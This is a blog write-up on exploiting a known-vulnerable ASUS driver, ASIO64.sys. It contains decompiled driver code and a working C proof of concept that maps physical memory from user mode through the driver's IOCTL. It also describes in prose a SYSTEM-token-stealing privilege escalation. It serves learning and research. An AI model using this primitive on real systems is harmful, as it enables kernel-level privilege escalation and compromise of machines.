home..

Exploiting ZwMapViewOfSection in ASIO64.sys

This post will outline the exploitation steps for the ASIO64.sys driver that has been fuzzed within the VX Underground Vulnerable Drivers project. The VXUG project is running IOCLance against about 7,000,000 drivers.

The ASIO64.sys driver is an ASUS driver that is known to have exploitable vulnerabilities and is included in the Windows driver blocklist. It’s also included in several community blocklists (SHA256 0ee5067ce48883701824c5b1ad91695998916a3702cf8086962fbe58af74b2d6).

Why Bother?

Lately I’ve been trying to learn more about drivers and the different components of the Windows kernel. I think writing exploits for Windows drivers is a great way to explore the kernel and learn different bug classes. And at the end of the day, I think it’s fun:

Vulnerability Overview

The crux of this vulnerability is that user-conrolled parameter are passed to ZwMapViewOfSection. This function takes a SectionHandle which is a section object created by ZwOpenSection and maps the memory at that handle into the ProcessHandle. In the case of this driver, the process handle will be our user-mode process and the section handle will point to a section of physical memory.

NTSYSAPI NTSTATUS ZwMapViewOfSection(
  [in]                HANDLE          SectionHandle,
  [in]                HANDLE          ProcessHandle,
  [in, out]           PVOID           *BaseAddress,
  [in]                ULONG_PTR       ZeroBits,
  [in]                SIZE_T          CommitSize,
  [in, out, optional] PLARGE_INTEGER  SectionOffset,
  [in, out]           PSIZE_T         ViewSize,
  [in]                SECTION_INHERIT InheritDisposition,
  [in]                ULONG           AllocationType,
  [in]                ULONG           Win32Protect
);

Disclaimer: I only tested this on Windows 23H2

Confirming The Finding

I started by confirming that the vulnerable code path existed in IDA and then drafting a rough proof of concept to try and hit the call to ZwMapViewOfSection. This was the output from IOCTLance:

{
"title": "map physical memory",
"description": "ZwMapViewOfSection - map \\Device\\PhysicalMemory",
"state": "<SimState @ 0x100030>",
"eval": {
    "IoControlCode": "0xa040a480",
    "SystemBuffer": "0x44580000",
    "Type3InputBuffer": "0x0",
    "UserBuffer": "0x0",
    "InputBufferLength": "0x18",
    "OutputBufferLength": "0x8"
},
"parameters": {
    "SectionHandle": "<BV64 ZwOpenSection_0x1173c_72_64>",
    "ProcessHandle": "<BV64 0xffffffffffffffff>",
    "BaseAddress": "<BV64 0x7fffffffffefed0>",
    "CommitSize": "<BV64 0x0 .. (0x0 .. *<BV64 SystemBuffer_46_64>_71_4096[79:64]) + *<BV64 SystemBuffer_46_64>_71_4096[191:160]>",
    "ViewSize": "<BV64 0x7fffffffffefeb8>"
},
"others": {
    "return address": "0x118ce"
}
}

Jumping to the return address of 0x118ce in IDA the call to ZwMapViewOfSection can be seen:

This call happens within the sub_115C0 function. Looking at the cross references to this function I can see it is only called in one place:

Taking the jump to cross reference leads this block within the IRP_MJ_DEVICE_CONTROL dispatch routine:

So it seems like I have a clear shot to the function that calls the ZwMapViewOfSection. Now I need to see how the driver expects user input to be passed and which parameters of ZwMapViewOfSection I control. Taking a look at the sub_115C0 function and mapping the local variables to the IRP request packet it becomes more clear:

IRP_SystemBuffer = *(_QWORD *)(PointerToIRP + 24);

InterfaceType = *(INTERFACE_TYPE *)IRP_SystemBuffer
BusNumber = *(_DWORD *)IRP_SystemBuffer+ 4);
BusAddress = *(PHYSICAL_ADDRESS *)IRP_SystemBuffer+ 8);
AddressSpace = *(_DWORD *)IRP_SystemBuffer+ 16);         
Length = *(_DWORD *)IRP_SystemBuffer+ 20);

IRP_SystemBuffer is the input buffer that will be sent to the driver through a call to DeviceIoControl. The driver expects that buffer to be at least 24 bytes and formatted like this:

typedef struct {
    uint32_t InterfaceType;
    uint32_t BusNumber;
    uint64_t BusAddress;
    uint32_t AddressSpace;
    uint32_t Length;
} MAP_REQ; 

The user input provided is passed to HalTranslateBusAddress first

HalTranslateBusAddress(
         InterfaceType,
         BusNumber,
         BusAddress,
         &AddressSpace,
         &TranslatedAddress)

My understanding is that this call is to ensure that the address space provided by the user is a valid physical memory address. After this, the call to ZwMapViewOfSection occurs:


RtlInitUnicodeString(&DestinationString, L"\\Device\\PhysicalMemory");
ObjectAttributes.Length = 48;
ObjectAttributes.RootDirectory = 0;
ObjectAttributes.Attributes = 576;
ObjectAttributes.ObjectName = &DestinationString;
ObjectAttributes.SecurityDescriptor = 0;
ObjectAttributes.SecurityQualityOfService = 0;
  
v7 = ZwOpenSection(&SectionHandle, 0xF001Fu, &ObjectAttributes);
...
v12 = BusAddress.LowPart - v11.LowPart; // SystemBuffer->Length
ViewSize = BusAddress.QuadPart - v11.QuadPart;

v7 = ZwMapViewOfSection(
           SectionHandle,
           (HANDLE)0xFFFFFFFFFFFFFFFFLL,
           &BaseAddress,
           0,
           v12,
           &SectionOffset, // SystemBuffer->BusAddress
           &ViewSize, // SystemBuffer->Length
           ViewShare,
           0,
           4u);
...
*v6 = (_DWORD)BaseAddress; // This is returned to output buffer

This call maps a section from \\Device\\PhysicalMemory at an offset and size I specify into the the current process. The lower part of the 64-bit newly allocated base address is then returned to the output buffer passed within DeviceIoControl. I can confirm this analysis by writing a basic program to interact with the driver and map a single 1MB region of physical memory into the current process.

#include <windows.h>
#include <stdio.h>
#include <stdint.h>

#define IOCTL_MAP 0xA040A480u

typedef struct {
    uint32_t InterfaceType;   // 0xE=Internal
    uint32_t BusNumber;       // usually 0
    uint64_t BusAddress;      // physical start address
    uint32_t AddressSpace;    // 0=memory, 1=I/O
    uint32_t Length;          // bytes to map
} MAP_REQ;

int main() {

    HANDLE h = CreateFileA("\\\\.\\Asusgio", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

    MAP_REQ request = { 0 };
    request.InterfaceType = 0xE;        
    request.BusNumber = 0;             
    request.BusAddress = 0x00100000;
    request.AddressSpace = 0;           
    request.Length = 0x00100000;

    BYTE output[8] = { 0 };
    DWORD bytes_returned = 0;
    printf("[*] Mapping Memory\n");
    BOOL result = DeviceIoControl(h, IOCTL_MAP,
        &request, sizeof(request),
        output, sizeof(output),
        &bytes_returned, NULL);

    uint32_t mapped_lo32 = *(uint32_t*)output;
    printf("[+] Lower part of address mapped 0x%08x\n", mapped_lo32);
    printf("[*] Check mapping and press enter\n");
    getchar();
    printf("[+] Closing Handle\n");
    CloseHandle(h);
    return 0;
}

Running the program I can confirm that a 1MB section of memory has been mapped into my process and contains the lower 32-bit address returned by the driver.

This confirms the vulnerability - I can map a section of physical memory into my process’ virtual memory space. There are a multitude of ways to abuse this primitive. Because this is the first time I have exploited a vulnerability like this, I will use the classic token stealing technique. I plan to revisit this vulnerability class soon and implement another technique like anycall or something similar.

Now that I have a way to map physical memory into my process, I can scan the contents of the mapped memory for the ‘Proc’ pool tag. The corresponding pool should contain memory allocated to process objects. Once the tag is found, I can use it to locate the EPROCESS structure. This structure contains information about every running process - including their token. The offsets of the structure in memory differs across Windows versions. You can use a resource like the Vergilius Project or dump the type in WinDbg to locate the offsets for your target version. With the EPROCESS structure located, I can walk it to locate my current process and the SYSTEM process (PID 4). I can then copy the SYSTEM’s token over my own processes token to obtain its privileges and spawn an elevated command prompt.

Full Code

References

https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/how-kernel-exploits-abuse-tokens-for-privilege-escalation#1-replacing-tokens-for-privilege-escalation

https://h0mbre.github.io/atillk64_exploit/

https://fuzzysecurity.com/tutorials/expDev/23.html

https://connormcgarr.github.io/x64-Kernel-Shellcode-Revisited-and-SMEP-Bypass/